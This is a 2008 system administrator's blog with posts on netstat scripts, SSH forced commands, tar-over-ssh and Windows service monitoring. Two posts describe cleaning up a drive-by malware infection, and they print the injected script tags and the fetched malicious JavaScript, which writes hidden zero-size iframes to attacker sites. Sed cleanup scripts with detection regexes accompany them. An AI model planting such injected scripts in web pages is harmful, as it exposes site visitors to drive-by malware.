Saturday, August 23, 2008

Summarise Netstat Inbound and Outbound Traffic

If we are managing a busy server with tonnes of inbound and outbound network connections, the below script may help you to summarise the 'netstat' details.

If connection tuple's (localhost:localport - remotehost:remoteport) localport is one of the listening ports, we can say that the connection is an inbound, else outbound. At first I tried to use ephemeral port to figure out the in/out bound, but find it not very reliable 'cos software can listen to a high port too. Also, you need to run netstat with -n (Show network addresses as numbers) in order to figure out the numeric port number.

The "getlisten" shell function is a trick that I normally used to dynamically create the AWK BEGIN content. In this case, I parse the "netstat" output and set the "listen" array variable in AWK to 1. This function will be invoked by the shell (not inside AWK) and shell will 'glue' them together with the AWK code. '`getlisten`' - first single quote is to temporary terminate AWK, follow by backquote to run the shell function, then open a single quote to continue the AWK. Remember no space is allowed between the single quote and backquote.

#! /bin/sh
#
# Summary netstat information by inbound and outbound traffic




TMPFILE=/tmp/.netstat-$$
trap "rm -f $TMPFILE" 0 1 2 3 9 15


netstat -a -finet -Ptcp > $TMPFILE
timestamp=`date '+%Y%m%dT%H%M%S'`


#
# shell function to create AWK BEGIN block for all the listening ports
# eg. listen["123"]=1;
#
getlisten()
{
 awk '$NF=="LISTEN" {n=split($1,a,".");printf("listen[\"%s\"]=1;",a[n])}' $TMPFILE
}



nawk -v timestamp=$timestamp '

function getport (hostport, n) {
 n=split(hostport,a,".")
 return a[n]
}

function gethost (hostport, n, h) {
 n=split(hostport,a,".")
 h=a[1]
 for(i=2;i<n;++i) {
  h=sprintf("%s.%s",h,a[i])
 }
 return h
}

BEGIN {'`getlisten`'}

NR>4 && $NF!~/(IDLE|BOUND|LISTEN)$/ {
 lh=gethost($1)
 lp=getport($1)
 rh=gethost($2)
 rp=getport($2)

 # if local port is one of the listen ports
 #   is inbound
 # else
 #   is outbound
 if ( listen[lp] == 1 ) {
  key=sprintf("%s:%s<-%s %s ",lh,lp,rh,$NF)
  ++inbound[key]
 } else {
  key=sprintf("%s->%s:%s %s ",lh,rh,rp,$NF)
  ++outbound[key]
 }
}

END {
 for(i in inbound) {
  print timestamp, i, inbound[i]
 }
 for(i in outbound) {
  print timestamp, i, outbound[i]
 }
}
' $TMPFILE

Sample output:

$ ./n.sh
20080822T163621 sgehost:sge_qmaster<-sgehost ESTABLISHED  1
20080822T163621 sgehost:ldap<-sgehost ESTABLISHED  12
20080822T163621 sgehost:ssh<-remote_server ESTABLISHED  1
20080822T163621 sgehost:sge_qmaster<-sgeexec2 ESTABLISHED  1
20080822T163621 sgehost:sge_qmaster<-sgeexec0 ESTABLISHED  1
20080822T163621 sgehost:sge_qmaster<-sgeexec1 ESTABLISHED  1
20080822T163621 sgehost->sgehost:ldap ESTABLISHED  12
20080822T163621 sgehost->sgehost:sge_qmaster ESTABLISHED  1

BTW, this script is developed on a Solaris platform.

Labels: , ,

Friday, August 22, 2008

Restrict SSH to Run A Specific Command

You may know that if you were to include your ssh public key in the remote host's authorized_keys file, you can ssh/scp into that remote machine without password login. This will enable administrator to program script to run without having to interactive with it.

However, not everyone know (I did not know at first) that you can restrict (or force) the ssh session to just execute a particular command. Below shows you how to generate a specifiy public/private key pair (monitoring, monitoring.pub), include the monitoring.pub public key in the remote authorized_keys and prepend that with "command=....". So next time you ssh into this remote machine with the monitoring key using the -i flag, the remote system will automatically run the command.

I used this technqiue to run some of the monitoring scripts installed across a few remote servers. This provides some form of flexiblity without compromising security.

myhost:

chihung@myhost$ cd ~/.ssh

chihung@myhost$ ssh-keygen -t rsa -f monitoring
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in monitoring.
Your public key has been saved in monitoring.pub.
The key fingerprint is:
6c:00:82:a5:b1:38:c0:e1:83:e3:c1:7d:82:48:d2:12 chihung@myhost

chihung@myhost$ cat monitoring.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwyAsd3AkcO2Oi3nN71WCTdSg/HXlyA3m74TBqSiAygE7XanwiyhpspFHtM3QFZhZRoqTjUyXwC1qbJyD2fNA2U7JtxBU1x5FCcDoLEIzVR4qplAN5cVFrN7SS4Ee49RRLDVdVV+RIGZdiDe9dqGfaVAKi1pqmvsDJez8AnjAg0U= chihung@myhost

remote:

chihung@remote$ cd .ssh

chihung@remote$ cat authorized_keys
command="/usr/local/bin/my-monitoring.sh" ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwyAsd3AkcO2Oi3nN71WCTdSg/HXlyA3m74TBqSiAygE7XanwiyhpspFHtM3QFZhZRoqTjUyXwC1qbJyD2fNA2U7JtxBU1x5FCcDoLEIzVR4qplAN5cVFrN7SS4Ee49RRLDVdVV+RIGZdiDe9dqGfaVAKi1pqmvsDJez8AnjAg0U= chihung@myhost

chihung@remote$ ls -l authorized_keys
-rw-------  1 chihung chihung  264 Aug 19 21:37 authorized_keys


chihung@myhost$ ssh -i ~/.ssh/monitoring chihung@remote
...
...

PS. Thanks to Ben who highlighted the security loophole in the remote authorized_keys. See comment

Labels: ,

My First VB Script

As I am typing this blog, I am working on a monitoring script to ensure the Oracle services are up and running. I think I need to pick up a book to understand more about scripting in Windows environment.

Option Explicit
Dim objWMIService
Dim allServices
Dim s
Dim objProcess
dim objShell
Dim Mesg
Dim Command
Dim objEnv
Dim Subject


Set objShell = Wscript.CreateObject ("Wscript.shell")
Set ObjEnv =objShell.Environment("Process")
Set allServices = GetObject("winmgmts:").ExecQuery _
("SELECT * FROM Win32_Service")


For Each s in allServices
If s.Name = "OracleMTSRecoveryService" and s.State = "Stopped" Then
        Mesg = s.Name + " is down, "
End If
If s.Name = "OracleORACLEAgent" and s.State = "Stopped" Then
        Mesg = s.Name + " is down, "
End If
If s.Name = "OracleORACLEHTTPServer" and s.State = "Stopped" Then
        Mesg = s.Name + " is down, "
End If
If s.Name = "OracleORACLETNSListener" and s.State = "Stopped" Then
        Mesg = s.Name + " is down, "
End If
If s.Name = "OracleServiceLIVE" and s.State = "Stopped" Then
        Mesg = s.Name + " is down, "
End If
Next


Subject = "Oracle is down"
If Mesg = "" Then
        'Wscript.echo "Do nothing"
Else
        Command =  "C"\Scripts\postie -host:smtphost -to:someone@somewhere.com "
        Command = Command + "-from:" + ObjEnv("COMPUTERNAME") + " "
        Command = Command + "-s:" + chr(34) + Subject + chr(34) + " "
        Command = Command + "-msg:" + chr(34) + Mesg + chr(34)
        objShell.run Command
End If

Plenty of room for improvement to the above script. I hope to be able to drive the service monitoring via a input file so that the VB script does not have to be modified.

Labels:

Saturday, August 16, 2008

Lots of TIME_WAIT in Your Netstat

My colleague is managing a pretty busy web server on behalf of his customer. He realised that there is a lot of TIME_WAIT state in your "netstat" output. If you are visiting a web server via a browser, by default it will initiate 2 concurrent connections to your web server to download all the dependencies (images, css, js, swf, ...). Also, the connection will be keep-alive for a while (see HTTP header: 'Connection: Keep-Alive'). If you are not doing any surfing to the web site, the web server will close the two connections. In TCP terminology, the web server is doing an "active close". In this case, the connection in the web server will change the connection state from ESTABLISHED to TIME_WAIT. By default, it will wait for 2*MSL (maximum segment lifetime) before it will recycle that ephemeral port. In the older version of Solaris, 2*MSL is set to 240 seconds. In Solaris 10, it is set to 60 seconds

If the environment is within a LAN (eg, an app server or db server in a 3-tier architecture), you can set the time-wait to something lower than 60 seconds

$ uname -a
SunOS y5.1our-web-server 0 Generic_118822-11 sun4u sparc SUNW,Sun-Fire-V440

$ ndd /dev/tcp tcp_time_wait_interval
60000


The above TCP state diagram is extracted from here

You can simulate this from command line too. With 'Connection: Keep-Alive', you will see that after the web server serves you the HTML file, it will stay connected until it timeout. If you go to the web-server, you will realised the connection is in ESTABLISHED state, then followed by TIME_WAIT once it is closed'. If you wait for a while (in my case, 60 seconds), the connection is gone.

client$ $ telnet your-web-server 80
Trying 203.166.136.32...
Connected to your-web-server.
Escape character is '^]'.
GET / HTTP/1.1
Host: your-web-server
Connection: Keep-Alive

HTTP/1.1 200 OK
...
...


your-web-server$ netstat -n -P tcp

TCP: IPv4
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
...
10.0.11.195.80       xxx.xxx.xxx.xxx.60601   17640      0 50400      0 ESTABLISHED
...


your-web-server$ netstat -n -P tcp

TCP: IPv4
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
...
10.0.11.195.80       xxx.xxx.xxx.xxx.60601   17640      0 50400      0 TIME_WAIT
...


your-web-server$ netstat -n -P tcp

TCP: IPv4
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
...
...

Happy TIME_WAIT-ing.... :-)

Labels:

Recursive SCP, An Efficient Way

My colleagues were trying to "SCP" (secure copy) from one RHEL4 to another and realised that it is going to take a while to copy so many files over. At the end they decided to "tar cvfzp" the directory and scp the gzip tar ball over and unpack it from the other server.

At the back of my mind I was wondering whether we can make use of UNIX pipe to achieve all this. Not only I do not have to create a temporary tarball, also it should be pretty efficient to take advantage of the stream of data flowing over TCP/IP to keep the window size to the maximum.

Below experiment was carried from my Cygwin tmp directory (525K bytes in total, with 59 files and 5 sub-directories) to be copied over to my office CentOS5 box via broadband connection.

$ time scp -r tmp chihung@$MY_CENTOS5:. > /dev/null

real    0m16.828s
user    0m0.138s
sys     0m0.139s

$ tar cfzp - ./tmp | time ssh chihung@$MY_CENTOS5 tar xfzp -
0.07user 0.06system 0:04.12elapsed 3%CPU (0avgtext+0avgdata 413440maxresident)k
0inputs+0outputs (1635major+0minor)pagefaults 0swaps

You can see that we are talking about 16.828 seconds vs 4.12seconds. Also, the 'tar' way can compress the stream and preserve the file permissions. The above ssh connection has been setup to be password-less to avoid additional time required to login.

Not all UNIX systems comes with GNU tar that can do gzip (-z) and Solaris is one of them. We can do the same trick to combine gzip and gunzip at both end to achieve the same effect as GNU tar. Also, to ensure the data transferred over is intact, you can do a md5sum on the tar stream.

$ tar cfp - ./tmp | gzip | time ssh chihung@$MY_CENTOS5 "gunzip | tar xfp -"

0.09user 0.04system 0:04.09elapsed 3%CPU (0avgtext+0avgdata 413184maxresident)k
0inputs+0outputs (1634major+0minor)pagefaults 0swaps

$ tar cf - ./tmp | md5sum
d46a7b5985d0ea408186222c0257405f  -

Thursday, August 07, 2008

An Old Task In Python, Take 2

I am going to tackle this old task based on Python using quite a few modules. This time I will be saving the unique session id, start and end time in the SQLite database. Also, I will be parsing a couple of GZIP access logs without having to GUNZIPing them.

In this exercise, the power of Python is in their 'battery-included' modules. The down side is, even simple 'cd' to change directory you need to 'import os' then os.chdir('some/dir/rect/ory'). Below shows how I populate the web access log to the SQLite database

import gzip
import os
import sqlite3
import time
import glob



def processLine(conn,line):
 cursor=conn.cursor()
 ts=time.strptime(line.split()[3][1:],'%d/%b/%Y:%H:%M:%S')
 epoch=time.mktime(ts)
 
 try:
  # locate the unique session id
  p1=line.index('jsessionid=')
  p2=line.index('?',p1)
  sess=line[p1+11:p2]
 except:
  return
  
 try:
  # throw exception if sessions id does not exist
  # epoch will be start time, else end time
  a=cursor.execute("select * from sessions where id='%s'" % sess)
  a.next()
  cursor.execute("update sessions set end = %d where id = '%s'" % (epoch,sess))
 except:
  cursor.execute("insert into sessions values ('%s',%d,%d)" % (sess,epoch,epoch))

 if count % 500 == 0:
  print 'commit',
  conn.commit()



dbfile='ndp.db'
conn=sqlite3.connect(dbfile)
try:
 conn.cursor().execute('create table sessions (id text, start int, end int)')
except:
 pass
 
count=1;
for gz in glob.glob('*.gz'):
 for line in gzip.open(gz,'r'):
  count=count+1
  processLine(conn,line)

Labels:

Malware Explained In A Napkin

As you already know that recently I have been dealing with Malware and I hope some of my outputs and links had given you an idea of the attack.

In my previous blog, I mentioned about "discovering your Nuggets". If you click on the link, you will realised that I was talking about the art of visual thinking. I borrowed the book - The Back of the Napkin: Solving Problems and Selling Ideas with Pictures from our National Library last week and I think this is good time for me to practice some of the skills that I picked up from the book.

Below is Malware explained in a napkin

Labels:

Wednesday, August 06, 2008

Malware Attack, Part 2

As I mentioned in yesterday's blog, the server was under Malware attack again. This time I realised that 700+ HTML files got the embedded "<script>...</script>" script reference. Worse, the pattern repeated 3-4 times on the same line with different script references. Also, I realised that the owner of the files have been changed to 'root' instead of the real owner.

I found 3 unique script references and they all used the same IFRAME approach to plant the attack

$ curl http://www.porv.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}

$ curl http://www.8hcs.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}
$ curl http://www.uhwc.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}

I also modified my previous script to match the script reference based on regular expression in my grep and sed. I need to ensure the substitution is done globally (ie, "g" modifier) in sed. BTW, the "-i" flag did not work with extended regular expression in sed and therefore I have to go through a temp file. Here is the modified script:

#! /bin/sh

TMPFILE=".tmp-$$"
for i in `find . -type f \( -name "*.html" -o -name "*.htm" \)`
do
        grep -E '<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>' "$i" > /dev/null 2>&1
        if [ $? -eq 0 ]; then
                echo -e "Removing malware in $i ... \c"
                sed -r -e 's#<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>##g' "$i" > $TMPFILE
                grep -E '<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>' $TMPFILE > /dev/null 2>&1
                if [ $? -eq 0 ]; then
                        echo "*** NOT OK ***"
                else
                        mv $TMPFILE "$i"
                        echo "Ok."
                fi
        fi
done 

Labels: ,

Tuesday, August 05, 2008

Malware Attack

Last Wednesday, my colleague was telling me that one of our servers was attacked by Malware and his Firefox 3 browser "Reported Attack Site!"

I was wondering how they know that our server is suspected of malware attack. After some Googling, I found the following articles to be very useful in understanding this new type of attack called Drive-by Download

Basically a couple of ways to embed malware script in your server via:

  • public forum that allow users to embed any HTML codes such as IFRAME, SCRIPT
  • advertisements to untrusted content, difficult to maintain trust along such long advertisement delivery chains
  • exploit vulnerability in the browser or one of its plugins
  • exploit vulnerability in the server

Today, my boss was telling us that the Linux server is under malware attack and asked whether I 'know' Linux. Whenever people ask whether I 'know' something, I need them to define what is 'know'. Anyway, this is a golden opportunity for me to have first hand 'encounter' with Malware. After some traversing the directory, I found 200+ web pages has the this javascript embedded at the end of pages
<script src=http://www.kr92.ru/fgg.js></script>
This pattern tallies with what the above articles described. It is time to clean up all these pages. I remember this blog showed a very handy way to edit file using sed without having to create temporary file. "-i" flag in sed allows you to edit the file directory (FYI, sed in Solaris does not have this flag available). Here is my on-the-fly created script:

#! /bin/sh

for i in `find . -type f \( -name "*.html" -o -name "*.htm" \)`
do
        grep "www.kr92.ru" $i > /dev/null 2>&1
        if [ $? -eq 0 ]; then
                echo "Removing www.kr92.ru - $i ..."
                sed -i -e 's#<script src=http://www.kr92.ru/fgg.js></script>##' $i
                grep "www.kr92.ru" $i > /dev/null 2>&1
                if [ $? -eq 0 ]; then
                        echo Unsuccessful
                else
                        echo OK
                fi
        fi
done

Wanna to find out what is inside http://www.kr92.ru/fgg.js

$ curl http://www.kr92.ru/fgg.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ojns.ru/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}}

Apparently it is trying to include an IFRAME (http://ojns.ru/cgi-bin/index.cgi?ad) with zero width by zero height in your page.

According to this article, it reported 200+ different form of script references. Scary, isn't it. While I was writing this blog, my boss told me that the main page has this embedded.
<script src=http://www.8hcs.ru/js.js></script>

Likely I have to modify my script to cater for various forms of script reference, some regular expression matching to catch all those culprits.

Labels: ,

Monday, August 04, 2008

How To Use Google

I realised that a lot of people do not know some of the advanced (or hidden) features in Google. Suppose you are looking for "malware" and found this link
http://www.usenix.org/event/hotbots07/tech/full_papers/provos/provos.pdf
very useful. Do you know that you can get Google to dig out all the PDF files from the same conference/seminar/workshop (in this case, Hotbot '07) by keying in the following in Google site:www.usenix.org inurl:hotbots07 filetype:pdf There you go, you just discovered 12 articles from that workshop. If you have all the time to read Usenix technical papers, you can change inurl:hotbots07 to inurl:full_papers. BTW, I found 3,350 PDF files.

Other tricks are also very useful:

  • intitle:, if you want certain words in the title
  • intext:, that's the default settings, text appears in body
  • -intitle:experimentation, exclude search results with the word 'experimentation' in the title
  • -experimentation, exclude search results with the word 'experimentation' in the body
  • site:com.sg, limit you search to domain in 'com.sg'
  • "birds of a feather", to ensure all the words in the double quotes appear together
  • "Birds of a feather * together", you are not sure what is the word between "Birds of a feather" and together
  • sgd to hkd, currency conversion from SGD to HKD
  • 103993/33102, google can do calculation
  • m to in, unit conversion (metre to inch)
  • any many more....

Hope you are able to discover the Nuggets.

Labels:

I Am Very Happy ...

My colleague came in this morning and he thanked me for all those scripts that I wrote to assist him in the BMC Remedy data migration. He was telling me that he carried out the migration over the weekend and it's been successful cut over to the newer version.

The latest script that I wrote was to modify field definitions (CHAR-SET/SCHEMA/FIELDS/FLD-ID/DTYPES/DATA) and add an additional column in the DATA field. The DATA field has to be modified on certain condition and he claimed that it was almost impossible to do it in Excel. Basically you need to change the content of the field from EARS<numbers> to INC0<numbers> and it has to be applied to the last occurrence of the field. It is not too difficult to do it in Tcl and below is the code snippet.

  set field1 [lindex $line 0]
  switch $field1 {
   CHAR-SET -
   SCHEMA {
    puts $fpw $line
   }
   FIELDS {
    puts $fpw "$line \"Worklog Type\""
   }
   FLD-ID {
    puts $fpw "$line 88888888"
   }
   DTYPES {
    puts $fpw "$line CHAR"
   }
   DATA {
    # change the last EARS to INC0
    # append quoted string "8000"
    set p1 [string last EARS $line]
    if { $p1 >= 0 } {
     set line [format {%s%s%s} \
      [string range $line 0 [expr {$p1-1}]] \
      INC0 \
      [string range $line [expr {$p1+4}] end] \
     ] 
    }
    
    puts $fpw "$line \"8000\""
   }
   * {
    puts $fpw $line
   }
  }
 }

BTW, half of my code is meant for the GUI.

Another thing that made me happy is that I realised someone started to read my blog.

Labels: ,